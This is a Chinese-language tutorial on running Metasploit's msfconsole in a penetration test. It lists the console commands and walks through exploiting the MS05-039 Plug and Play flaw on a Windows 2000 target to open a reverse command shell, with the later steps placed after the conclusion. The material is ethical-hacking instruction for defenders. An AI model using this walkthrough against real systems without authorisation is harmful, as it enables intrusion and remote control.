网络安全 频道

应用Metasploit安全测试工具到现实的安全测试中

在一个新近发表的小技巧中,我介绍了将 Metasploit 安全测试工具的框架应用到安全测试中的好处。这种基于Perl的Metasploit 被设计成为一个健壮的漏洞开发系统。正巧,你可以使用它在现有的系统中来运行早先已经开发完成的漏洞利用程序。那么你可以使用它所具备的安全测试的特点来检测你的系统对于渗透性是否脆弱,并且可以观察当特定的有效负载按其自身的方式进行发送时它们是如何反应的。

  除了普通的Web应用测试之外,如数据隐码(SQL injection)、输入不支持的篡改,Metasploit安全测试工具为在独立应用程序、 Web服务器、操作系统以及更多的地方中广泛存在的弱点提供了漏洞利用的开发代码——确切地说,在2.4版本中有100项漏洞利用和75项有效负载。根据Metasploit网站所发布的信息,刚刚发布的2.5版本包括故障(bug)定位、伪装变化、以及多于32个的漏洞利用!显然,即使有100个漏洞利用可供选择,但是对于每一个你所遇到的渗透检验情形中可能存在的弱点而言,这些漏洞利用仍然是不够的。但是需要再次重申的是,当你创建了这个安全框架,你就可以写自己的漏洞利用,当然这是建立在你倾向于使用这个框架的情况下。

  在下面列出的安装过程中,我将概括地介绍实际测试的情形中是如何使用Metasploit工具的内嵌漏洞利用和有效负载的。预先要提醒大家的是:当执行你自己的测试时,使用这个工具是有可能得到不期望的结果,例如系统崩溃或者使产品系统处于不稳定状态中。就像是任何道德黑客(ethical hacking)的冒险事业一样,我们需要谨慎行事并且在事情发生时有应变计划。请不要轻视这一点。

  常见命令:

  在直接说明执行这个漏洞利用的具体步骤之前,下面介绍一些你应该了解的msfconsole常见命令。

  help (or '?') — 显示在msfconsole中的可用命令。

  show exploits — 显示你可以运行的漏洞利用(在我们的例子中,是 ms05_039_pnp exploit)

  show payloads — 显示各种你可以在应用了漏洞利用程序的系统上执行的有效负载选项,如分散命令,上载程序来运行(在我们的例子中,是win32_reverse exploit)

  info exploit [exploit name] — 显示对于一个指定的漏洞利用的名字的描述及其多种选项和需求(如:info exploit ms05_039_pnp表明这个指定攻击的信息)

  info payload [payload name] — 显示对于一个指定的有效负载的名字的描述及其多种选项和需求(如:info payload win32_reverse表明分散一个命令壳的信息)

  use [exploit name] — 引导msfconsole键入指定的exploit的环境(例如use ms05_039_pnp将为这个指定环境产生ms05_039_pnp >这个命令提示符)

  show options — 显示各种你正在使用的该指定漏洞利用的参数

  show payloads ­— 显示和你正在使用的与该指定的漏洞利用兼容的有效负载

  set PAYLOAD — 允许为你的漏洞利用设置指定的有效负载(在这个例子中,设置PAYLOAD win32_reverse)

  show targets — 显示可用的目标系统和可以进行漏洞利用的应用程序

  set TARGET — 允许选择你指定的目标操作系统或者应用程序(在这个例子中,针对所有的Windows 2000所有的英文版本,我将会使用set TARGET 0

  set RHOST ­— 允许设置你目标主机的IP地址(在这个例子中,设置RHOST为10.0.0.200)

  set LHOST — 允许为必要的反向通信设置本地的IP地址以打开反向命令壳(在这个例子中,设置LHOST为 10.0.0.201)

  back — 允许在漏洞利用环境中,退出当前环境回到主msfconsole的提示符

在渗透中的一些证据

  上面我已经介绍了你将需要的基本命令,那么接下来我将具体介绍执行实际的漏洞利用时需要进行的一些指定步骤及其屏幕截图。

  在这个例子中,我的测试目标是一个存在即插即用服务漏洞(MS05-039)的Windows 2000 Server系统(CVE-2005-1983),这个漏洞被Zotob worm病毒利用。这个漏洞——Metasploit安全测试工具正巧含有它的漏洞利用——允许任意代码执行包括壳(命令提示符)对系统的访问。我知道我的目标系统有这个弱点,因为我发现了包括漏洞评估软件工具QualysGuard在内的问题。这纯粹是道德黑客方法论中的一部分,但是它也并非是必须的。你可以不使用测试用例来测试你的系统——或者,甚至更好——Metasploit能够利用其自带的“检测”功能来进行仔细检查,以便察看出在Metasploit对系统进行漏洞利用之前该系统是否是易受攻击的。更多的内容请继续往下看。我的测试系统是Windows XP SP2,它运行的是Metasploit 框架2.4的版本,这个版本是我从这个链接下载下来并且安装上的。我将使用Metasploit中最为常用的msfconsole界面来演示整个攻击过程。

  步骤一

  我加载msfconsole(通过Start/Programs/Metasploit Framework/MSFConsole实现),之后它的命令提示符也出现了。

  注意:这时,你可以键入show exploits命令来观察哪一个漏洞利用对于你的目标系统是可用的。

  步骤2

  我进入使用ms05_039_pnp命令来运行指定的漏洞利用这一界面,我知道系统在这点上是很脆弱的,现在该命令加载了指定的漏洞利用环境提示符(因此是ms05_039_pnp > prompt):

  步骤 3

  然后,我键入show payloads命令来决定哪个有效负载可以通过这个漏洞利用进行传送:

还有更多的内容

  使用Metasploit安全测试工具在渗透测试中可以做很多事情,这个漏洞利用仅仅是其中的一个例子罢了。除了我使用过的指定的漏洞利用和有效负载之外,好东西还在后面呢,这个例子中使用的大多数命令和技术都可以直接应用到支持Metasploit安全测试工具的漏洞利用中。

  一旦你熟悉了Metasploit是如何操作的,你就会很乐意去了解它所包含的一些高级的特性。你可以保存你的“设置”选项、做好你的活动日志、甚至定义每个有效负载在运行完成之后是如何将其自身清除的。Metasploit安全测试工具是如此的功能强大并且容易使用,这是非常好的。Msfconsole是如此的直观,并且帮助总是以命令的格式显示。

  我鼓励你们经常在测试环境下使用Metasploit工具来观察一下它究竟可以做干什么。至少可以这样说,它是一个非常启发人的观念上的工具。如果你坚持登录查看Metasploit Project网站,那么你就能够掌握最新的架构以及漏洞利用的版本发行。很显然,一个新的改进了的使用Ruby编程语言(Ruby programming language)的Metasploit版本(版本3)很快就要发布了,最好还是时刻关注它吧。

  我们可以自由使用像Metasploit安全测试工具这样的先进工具使其用于信息安全的改良,这个让我很欣慰——尤其是它的廉价,即使是我们自由使用它的价钱也是$0。在不久的将来,这些类型的漏洞利用工具在提高软件质量方面将会扮演很重要的角色,因此你对它们了解的越多越好。利用Metasploit 的快速下载、易安装,而且在几分钟之内你就能熟悉它的界面这些特性,未来是属于你们的。

步骤 4

  我决定使用漏洞利用来打开一个反向命令壳,因此我输入set PAYLOAD win32_reverse命令。然后我进入了显示目标这一界面,通过查看这些目标来决定哪个操作系统和哪些应用程序是能够被支持的。在这种情况下,我将通过在Service Pack 4环境下键入set TARGET 0:命令来设置我的目标使其选择支持Windows 2000 Service Pack 0的版本(Windows 2000的第一个版本)

  步骤5

  然后,我进入显示选择的界面,通过这些选项来确定无选择性的漏洞利用和有效负载的参数,这些参数是没有缺省值的,因此必须要设定。在这种情况下,可以通过设置RHOST值为10.0.0.200、设置LHOST值为 10.0.0.201:来设定RHOST和LHOST的参数值

  步骤6

  最后一次,我键入show options命令来确保所有的参数都设置正确,然后键入check命令来确认我的目标系统对于ms05_039_pnp这个漏洞而言确实是很易受攻击的。

  步骤7

  最后,我键入了exploit命令来运行该漏洞利用,并且把有效负载传送到了我的目标系统中——瞧!——这个联系被创建并且在远程系统上有我的命令符的提示!渗透测试的最好形式。

  你可以想象一下,假如一个心怀恶意的黑客就利用这个弱点来使你的系统处于不安全状态的话,那么将会有什么后果发生呢。这就是为什么你自己首先“攻击”你的系统是如此的重要了,因为在黑客攻击系统漏洞之前,通过自己“攻击”可以找出并且修补系统漏洞

0
相关文章